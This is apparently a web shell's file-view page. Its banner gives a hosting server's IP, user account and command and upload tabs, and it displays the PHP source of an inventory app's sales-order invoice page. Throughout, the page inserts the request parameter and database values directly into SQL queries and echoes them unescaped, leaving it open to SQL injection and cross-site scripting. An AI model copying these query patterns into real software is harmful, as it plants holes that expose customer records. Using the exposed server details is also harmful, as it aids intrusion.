|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/inventory/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
header("Location: login.php");
}
include("include/db.php");;
$bid = $_GET['id'];
$sql = "select * from tbl_salesorder where id='$bid' ";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
$sql_row = mysqli_fetch_assoc($sql_res);
$cust_name = $sql_row['cust_name'];
$sqlc = "select * from tbl_customer where id='$cust_name' ";
$sql_resc = mysqli_query($con, $sqlc) or die(mysqli_error($con));
$sql_rowc = mysqli_fetch_assoc($sql_resc);
$sql_rowc['c_name_dis'];
$country = $sql_rowc['country'];
$state = $sql_rowc['state'];
$city = $sql_rowc['city'];
$s_coun = $sql_rowc['s_coun'];
$s_state = $sql_rowc['s_state'];
$s_city = $sql_rowc['s_city'];
$sqlco = "select * from countries where id='$country' ";
$sql_resco = mysqli_query($con, $sqlco) or die(mysqli_error($con));
$sql_rowco = mysqli_fetch_assoc($sql_resco);
$countryname = $sql_rowco['name'];
$sqlco = "select * from states where id='$state' ";
$sql_resco = mysqli_query($con, $sqlco) or die(mysqli_error($con));
$sql_rowco = mysqli_fetch_assoc($sql_resco);
$statename = $sql_rowco['name'];
$sqlco = "select * from cities where id='$city' ";
$sql_resco = mysqli_query($con, $sqlco) or die(mysqli_error($con));
$sql_rowco = mysqli_fetch_assoc($sql_resco);
$cityname = $sql_rowco['name'];
$sqlcos = "select * from countries where id='$s_coun' ";
$sql_rescos = mysqli_query($con, $sqlcos) or die(mysqli_error($con));
$sql_rowcos = mysqli_fetch_assoc($sql_rescos);
$scountryname = $sql_rowcos['name'];
$sqlcos = "select * from states where id='$s_state' ";
$sql_rescos = mysqli_query($con, $sqlcos) or die(mysqli_error($con));
$sql_rowcos = mysqli_fetch_assoc($sql_rescos);
$sstatename = $sql_rowcos['name'];
$sqlcos = "select * from cities where id='$s_city' ";
$sql_rescos = mysqli_query($con, $sqlcos) or die(mysqli_error($con));
$sql_rowcos = mysqli_fetch_assoc($sql_rescos);
$scityname = $sql_rowcos['name'];
?>
<!doctype html>
<html lang="en">
<!-- Mirrored from themesdesign.in/morvin/layouts/pages-invoice.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:26:01 GMT -->
<head>
<?php include 'include/head.php'; ?>
</head>
<body>
<!-- Begin page -->
<div id="layout-wrapper">
<?php include 'include/header.php'; ?>
<!-- ========== Left Sidebar Start ========== -->
<div class="vertical-menu">
<?php include 'include/sidebar.php'; ?>
</div>
<!-- Left Sidebar End -->
<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="main-content">
<div class="page-content">
<!-- start page title -->
<div class="page-title-box">
<div class="container-fluid">
<div class="row align-items-center">
<div class="col-sm-6">
<div class="page-title">
<h4>Sales Order View</h4>
</div>
</div>
</div>
</div>
</div>
<!-- end page title -->
<div class="container-fluid">
<div class="page-content-wrapper">
<div class="row">
<div class="col-12">
<div class="card m-b-30">
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="invoice-title">
<h4 class="float-end font-size-16"><strong><?php echo $sql_row['so_no']; ?></strong></h4>
<h3 class="m-t-0">
<img src="assets/images/logo.jpg" alt="logo" height="18"/ style="width: 55px;height: 55px;">
</h3>
</div>
<hr>
<div class="row">
<div class="col-6">
<address>
<strong>Billed To:</strong><br>
<?php echo $sql_rowc['c_name_dis']; ?><br>
<?php echo $sql_rowc['add_one']; ?><br>
<?php echo $sql_rowc['add_two']; ?><br>
<?php echo $cityname; ?>, <?php echo $statename; ?>, <?php echo $countryname; ?>
</address>
</div><!-- end col -->
<div class="col-6 text-end">
<address>
<strong>Shipped To:</strong><br>
<?php echo $sql_rowc['c_name_dis']; ?><br>
<?php echo $sql_rowc['s_add_one']; ?><br>
<?php echo $sql_rowc['s_add_two']; ?><br>
<?php echo $scityname; ?>, <?php echo $sstatename; ?>, <?php echo $scountryname; ?>
<br>
<?php echo $sql_rowc['email']; ?>
<?php echo $sql_rowc['phone']; ?>
</address>
</div><!-- end col -->
</div><!-- end row -->
<div class="row">
<div class="col-6 m-t-30">
<address>
<strong>PAYMENT TERMS:</strong><br>
<?php echo $sql_row['pay_terms']; ?>
</address>
</div><!-- end col -->
<div class="col-6 m-t-30 text-end">
<address>
<strong>Order Date:</strong><br>
<?php echo $sql_row['so_date']; ?><br><br>
</address>
</div><!-- end col -->
</div><!-- end row -->
</div>
</div>
<div class="row">
<div class="col-12">
<div class="panel panel-default">
<div class="p-2">
<h3 class="panel-title font-size-20"><strong>Order summary</strong></h3>
</div>
<div>
<div class="table-responsive">
<table class="table">
<thead>
<tr>
<td><strong>Item</strong></td>
<td class="text-center"><strong>Quantity</strong>
</td>
<td class="text-center"><strong>Price</strong></td>
<td class="text-center"><strong>Discount</strong></td>
<td class="text-end"><strong>Totals</strong></td>
</tr>
</thead>
<!-- end thead -->
<tbody>
<!-- foreach ($order->lineItems as $line) or some such thing here -->
<?php
$bid = $_GET['id'];
$sqli = "select * from tbl_sales_item where soid='$bid'";
$sql_resi = mysqli_query($con, $sqli) or die(mysqli_error($con));
while ($sql_rowi = mysqli_fetch_array($sql_resi))
{
?>
<tr>
<td><?php echo $sql_rowi['item_name']; ?></td>
<td class="text-center"><?php echo $sql_rowi['qty']; ?></td>
<td class="text-center"><?php echo $sql_rowi['rate']; ?></td>
<td class="text-center">
<?php
if ($sql_rowi['dis_type'] == 'p')
{
echo $sql_rowi['discount'];
}
elseif($sql_rowi['dis_type'] == 'R')
{
echo $sql_rowi['discount'];
}
?></td>
<td class="text-end"><?php echo $sql_rowi['amt']; ?></td>
</tr>
<?php } ?>
<tr>
<td class="thick-line"></td>
<td class="thick-line"></td>
<td class="thick-line"></td>
<td class="thick-line text-center">
<strong>Subtotal</strong></td>
<td class="thick-line text-end"><?php echo $sql_row['sub_total']; ?></td>
</tr>
<tr>
<td class="no-line"></td>
<td class="no-line"></td>
<td class="no-line"></td>
<td class="no-line text-center">
<strong>Adjustment</strong></td>
<td class="no-line text-end"><h4 class="m-0"><?php echo $sql_row['adjustment']; ?></h4></td>
</tr>
<tr>
<td class="no-line"></td>
<td class="no-line"></td>
<td class="no-line"></td>
<td class="no-line text-center">
<strong>Total</strong></td>
<td class="no-line text-end"><h4 class="m-0"><?php echo $sql_row['total']; ?></h4></td>
</tr>
</tbody><!-- end tbody -->
</table><!-- end table -->
</div>
<div class="d-print-none mo-mt-2">
<div class="float-end">
<a href="javascript:window.print()" class="btn btn-success waves-effect waves-light"><i class="fa fa-print"></i></a>
<a href="#" class="btn btn-primary waves-effect waves-light ms-1">Send</a>
</div>
</div>
</div>
</div>
</div>
</div> <!-- end row -->
</div>
</div>
</div> <!-- end col -->
</div> <!-- end row -->
</div>
</div> <!-- container-fluid -->
</div>
<!-- End Page-content -->
<footer class="footer">
<?php include 'include/footer.php'; ?>
</footer>
</div>
<!-- end main content-->
</div>
<!-- END layout-wrapper -->
<!-- Right Sidebar -->
<!-- /Right-bar -->
<!-- Right bar overlay-->
<div class="rightbar-overlay"></div>
<!-- JAVASCRIPT -->
<?php include 'include/bscript.php'; ?>
</body>
<!-- Mirrored from themesdesign.in/morvin/layouts/pages-invoice.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:26:01 GMT -->
</html>